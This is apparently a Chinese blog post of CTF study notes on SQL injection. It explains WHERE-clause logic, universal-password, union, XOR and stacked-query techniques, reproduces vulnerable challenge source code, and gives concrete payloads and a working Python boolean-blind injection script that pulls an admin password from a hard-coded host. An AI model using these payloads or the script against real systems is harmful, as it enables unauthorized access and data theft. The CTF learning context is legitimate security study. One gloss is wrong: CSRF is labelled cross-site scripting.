网络安全

WEB安全

SQL注入

image-20240429104507998

感悟总结

  1. where条件表达式

    # 对于单条件表达式:where假 <==> 结果集为空,where真 <==> 全部数据,where正确的字段 <==> 字段的内容
    

    image-20240505001014206

    # 对于多条件表达式:and <==> 取两张表的公共部分,or <==> 取两张表的组合部分(去重)
    

    image-20240504235901337

    image-20240505000154774

    image-20240505000333924

    image-20240505000445265

    1. web应用往往会把客户端的一些参数放在where语句中作为条件进行查询,理解了上述原理之后我们可以更加灵活地构造payload,可以控制结果集中有没有数据,以及是什么数据,而不再死记硬背套模板;
    2. 控制结果集中有没有数据: 以sqli-labs-less11为例,即使不知道账号密码,只要结果集中有数据就可以登陆成功,所以有种方式叫做万能密码;
    

    image-20240505112313491

    image-20240505112527490

    3. 控制结果集中是什么数据:以sqli-labs-less11为例,登录成功之后还会把账号密码显示出来,我们可以控制结果集中的username字段和password字段中是我们想要的数据,例如数据库的版本、用户等等,这就是联合注入。
    

    image-20240505114949118

    4. 当and和or被过滤的时候,^ 可以代替他俩,相当于单条件where表达式,这种方式叫做异或注入
    

    image-20240505123015881

[SUCTF 2019]EasySQL 1

  1. 这道题目将参数直接放到了select后面,对选手猜解后端SQL的能力要求极高

  2. 输入任意字符串,发现没有反应,紧接着进行fuzz,发现过滤了一些关键字,在尝试常规注入发现仍然没有任何反应???

  3. 回到最初,在尝试输入字符串,发现任何字符串都不起作用,但是如果是数字就会返回结果集中的内容,并且值为1;

  4. 为什么查询之后结果都是1,明明没有输入1呀,只有一种可能——这个1不是输入的,而是一个运算结果,即布尔运算的结果;

  5. 所以,输入的内容会被进行布尔运算,而且结果集中有这个结果,说明这个布尔运算是直接被放在了select后面,即select 输入的内容与xxx布尔运算 from aaa;

  6. 这个布尔表达式到底是什么(and 还是 or???)、xxx又是什么:xxx的值无非两种类型——字符串/数字,如果是数字,那么表达式就应该为”输入的内容 and 数字“;如果是字符串,那么表达式就应该为”输入的内容 or 字符串“;

  7. 这是一道题目,xxx肯定是和flag有关的(就是flag的字段名),flag绝大部分情况下都是字符串,所以后端的SQL极大可能是”select 输入的内容 or flag对应的字段名 from 一张有flag的表“;

  8. 如何注入/如何获取flag:核心思想就是让输入的内容逃出布尔表达式

    • *,1 :select * , 1 or flag对应的字段名 from 一张有flag的表

      image-20240505211020283

    • 如果后端语句中的逻辑运算符不是or,而是||(毕竟人家过滤了and和or关键字,放行&&和||,也算提示吧),配合堆叠注入,直接将||的功能变成字符串拼接,从而直接布尔表达式变成了一个字符串(select '用户输入的内容字段名' from 一张有flag的表):1;set sql_mode=PIPES_AS_CONCAT;select 1

      image-20240505210949181

Just SQLi

  • 源码

    <?php
    
    $user = NULL;
    $is_admin = 0;
    
    if (isset($_GET["source"])) {
        highlight_file(__FILE__);
        exit;
    }
    
    if (isset($_POST["username"]) && isset($_POST["password"])) {
        $username = $_POST["username"];
        $password = $_POST["password"];
    
        $db = new PDO("sqlite:../database.db");
        $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    
        try {
            $db->exec("CREATE TABLE IF NOT EXISTS users (username TEXT UNIQUE, password TEXT, is_admin BOOL);");
    
            $q = "username, is_admin FROM users WHERE username = '$username' AND password = '$password'";
            if (preg_match("/SELECT/i", $q)) {
                throw new Exception("only select is a forbidden word");
            }
    
            $rows = $db->query("SELECT " . $q, PDO::FETCH_ASSOC);
            foreach ($rows as $row) {
                $user = $row["username"];
                $is_admin = $row["is_admin"];
            }
        }
        catch (Exception $e) {
            exit("EXCEPTION!");
        }
    
    
    }
    
    ?>
    
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="UTF-8">
        <title>Just SQLi</title>
    </head>
    <body>
        <h1>Just SQLi</h1>    
        <div><a href="?source=1">view source</a>
    
        <?php if ($user) { ?>
        <div>Nice Login <?= $user ?></div>
            <?php if ($is_admin) { ?>
            <div>And Nice to Get the Admin Permission!</div>
            <div> <?= include("../flag.php"); ?></div>
            <?php } ?>
        <?php } ?>
    
        <form action="" method="POST">
            <div>username: <input type="text" name="username" required></div>
            <div>password: <input type="text" name="password" required></div>
    
            <div>
                <input type="submit" value="Login">
            </div>
        </form>
    
    </body>
    </html>
    
  • 代码审计

    1. 19行:创建users表,表结构为username、password、is_admin,没有任何数据;
    2. 21行、26行:将用于提交的用户名和密码代入users表中查询;
    3. 22~24行:过滤了select;
    4. 52~57行:只要结果集中is_admin字段为true就输出flag;
  • 手法:联合注入union values(users表是空的,结果集中is_admin字段肯定是没有数据的,因此需要构造一个有数据的结果集

    image-20240503133106675

sqli-0x1

  • 源码

    <?php
    error_reporting(0);
    error_log(0);
    
    require_once("flag.php");
    
    function is_trying_to_hak_me($str)
    {   
        $blacklist = ["' ", " '", '"', "`", " `", "` ", ">", "<"];
        if (strpos($str, "'") !== false) {
            if (!preg_match("/[0-9a-zA-Z]'[0-9a-zA-Z]/", $str)) {
                return true;
            }
        }
        foreach ($blacklist as $token) {
            if (strpos($str, $token) !== false) return true;
        }
        return false;
    }
    
    if (isset($_GET["pls_help"])) {
        highlight_file(__FILE__);
        exit;
    }
       
    if (isset($_POST["user"]) && isset($_POST["pass"]) && (!empty($_POST["user"])) && (!empty($_POST["pass"]))) {
        $user = $_POST["user"];
        $pass = $_POST["pass"];
        if (is_trying_to_hak_me($user)) {
            die("why u bully me");
        }
    
        $db = new SQLite3("/var/db.sqlite");
        $result = $db->query("SELECT * FROM users WHERE username='$user'");
        if ($result === false) die("pls dont break me");
        else $result = $result->fetchArray();
    
        if ($result) {
            $split = explode('$', $result["password"]);
            $password_hash = $split[0];
            $salt = $split[1];
            if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true;
            else $err = "Wrong password";
        }
        else $err = "No such user";
    }
    ?>
    
    <!DOCTYPE html>
    <html>
    <head>
        <title>Hack.INI 9th - SQLi</title>
    </head>
    <body>
        <?php if (isset($logged_in) && $logged_in): ?>
        <p>Welcome back admin! Have a flag: <?=htmlspecialchars($flag);?><p>
        <?php else: ?>
        <form method="post">
            <input type="text" placeholder="Username" name="user" required>
            <input type="password" placeholder="Password" name="pass" required>
            <button type="submit">Login</button>
            <br><br>
            <?php if (isset($err)) echo $err; ?>
        </form>
        <?php endif; ?>
        <!-- <a href="/?pls_help">get some help</a> -->
    </body>
    </html>
    
  • 代码审计

    1. 9行、29行:过滤了一堆符号,检测用户提交的user;
    2. 34行:在users表中查询数据;
    3. 38~44行:将结果集中的password内容根据$分割为两部分,将第二部分与用户数据的密码进行sha256加密,如果密文与第一部分相等,logged_in就等于true,即输出flag;
  • 手法:联合查询(可以构造结果集中的password字段)、将任意字符串进行sha256加密、将字符串随意分成两部分——第一部分作为密码、第二部分与密文通过$拼接在一起;

    image-20240503141109931

[TJCTF-2023] ez-sql

  • 源码

    const express = require('express');
    const app = express();
    const sqlite3 = require('sqlite3');
    const uuid = require('uuid');
    const fs = require('fs');
    const { parse } = require('csv-parse');
    
    const flag = fs.readFileSync('./flag.txt', { encoding: 'utf8' }).trim();
    
    app.use(express.urlencoded({ extended: true }));
    
    const db = new sqlite3.Database(':memory:');
    
    db.serialize(() => {
        db.run('CREATE TABLE jokes (id INTEGER PRIMARY KEY, joke TEXT)');
    
        const stmt = db.prepare('INSERT INTO jokes (id, joke) VALUES (?, ?)');
    
        // jokes from https://github.com/amoudgl/short-jokes-dataset/blob/master/data/reddit-cleanjokes.csv
        fs.createReadStream('./reddit-cleanjokes.csv').pipe(parse({ delimiter: ',' })).on('data', (row) => {
            stmt.run(row[0], row[1]);
        }).on('end', () => {
            stmt.finalize();
        });
    
        const flagTable = `flag_${uuid.v4().replace(/-/g, '_')}`;
        db.run(`CREATE TABLE IF NOT EXISTS ${flagTable} (flag TEXT)`);
    
        db.run(`INSERT INTO ${flagTable} (flag) VALUES ('${flag}')`);
    });
    
    
    app.get('/', (req, res) => {
        res.sendFile(__dirname + '/index.html');
    });
    
    app.get('/search', (req, res) => {
        const { name } = req.query;
    
        if (!name) {
            return res.status(400).send({ err: 'Bad request' });
        }
    
        if (name.length > 6) {
            return res.status(400).send({ err: 'Bad request' });
        }
    
        db.all(`SELECT * FROM jokes WHERE joke LIKE '%${name}%'`, (err, rows) => {
            if (err) {
                console.error(err.message);
                return res.status(500).send('Internal server error');
            }
    
            return res.send(rows);
        });
    });
    
    app.listen(3000, () => {
        console.log('Server is running on port 3000');
    });
    
    
  • 代码审计

    1. 8行、26~29行:创建表,表名为flag_客户端的uuid,结构只有一个flag字段,值就是flag;
    2. 15行:创建jokes表,表结构为id、joke;
    3. 37~56行:如果用户没有输入值或者输入的字符串长度大于6就返回'Bad request';否则,就将用户输入的内容代入jokes表中模糊查询,并将所有结果直接返回;
  • 手法:联合查询(可以将结果集返回)、数组绕过长度限制(name[0]=xxxx,无论些什么name的长度都为1)

    image-20240504111035589

    image-20240504111107992

    image-20240504111138907

[bugku] sql注入

  1. 这道题目有问题,没办法通过数据库猜解表名(过滤了for关键字,information_schema不起作用),flag藏在admin表里面的password字段中;

  2. 提示信息:布尔盲注

  3. 看到登录框,尝试弱密码,用户名admin,密码admin,提示密码错误,证明有admin这个账户;在尝试一个不存在的用户,提示用户不存在,有正确结果返回一种页面,没有正确结果返回另一种界面,典型的布尔盲注;

    image-20240504224452033

    image-20240504225602206

  4. 寻找注入点:一般用户名字段会存在注入点(要将用户名和密码拿去数据库匹配,那么SQL语句的结构肯定为select name,pass from users where nmae='$name'),单引号闭合;

    image-20240504225017275

  5. fuzz测试,过滤了一堆东西(包括但不限于空格、逗号、for关键字、等号等等);

    image-20240504225103880

  6. 开始盲注:payload ===> password=brankyeen&username=brankyeen'||这里的结果为真提示密码错误,结果为假提示账户不存在||'1'<>'1#。注意,由于过滤了逗号和for,猜解flag的语句应该写成ascii(substr((查询语句)from(第几位)))<>ASCII码

    image-20240504225938048

  7. 脚本

    """
    1. 题目有问题,没办法通过数据库获取admin表以及其字段;
    2. flag在admin表里面的password字段中
    """
    
    import requests
    
    class Boolean_SQL:
        url = "http://114.67.175.224:12658/index.php"
        # 结果为true的页面
        tresp = requests.post(url=url, data={"password": "abc", "username": "brankyeen'||1<>2||'1'<>'1"})
        tresp.close()
        # 结果为false的页面
        fresp = requests.post(url=url, data={"password": "abc", "username": "brankyeen'||1<>1||'1'<>'1"})
        fresp.close()
    
        def get_name(self):
            name = ""
            # 逐位暴破
            for j in range(1, 150):
                for k in range(32, 128):
                    data = {"password": "abc",
                            "username": f"brankyeen'||ascii(substr((select(password)from(admin))from({j})))<>{k}||'1'<>'1"}
                    print(data)
                    resp = requests.post(url=self.url, data=data)
                    resp.close()
                    if resp.text == self.fresp.text:
                        name += chr(k)
                        print(name)
                        break
            return name
    
    if __name__ == '__main__':
        a = Boolean_SQL()
        print(a.get_name())
    
  8. 得到的是md5密文,解密之后位bugkuctf。

XSS注入

CSRF/SSRF

  • CSRF:跨站脚本攻击

XXE

posted @ 2023-10-09 15:47  尹少欣  阅读(90)  评论(0)    收藏  举报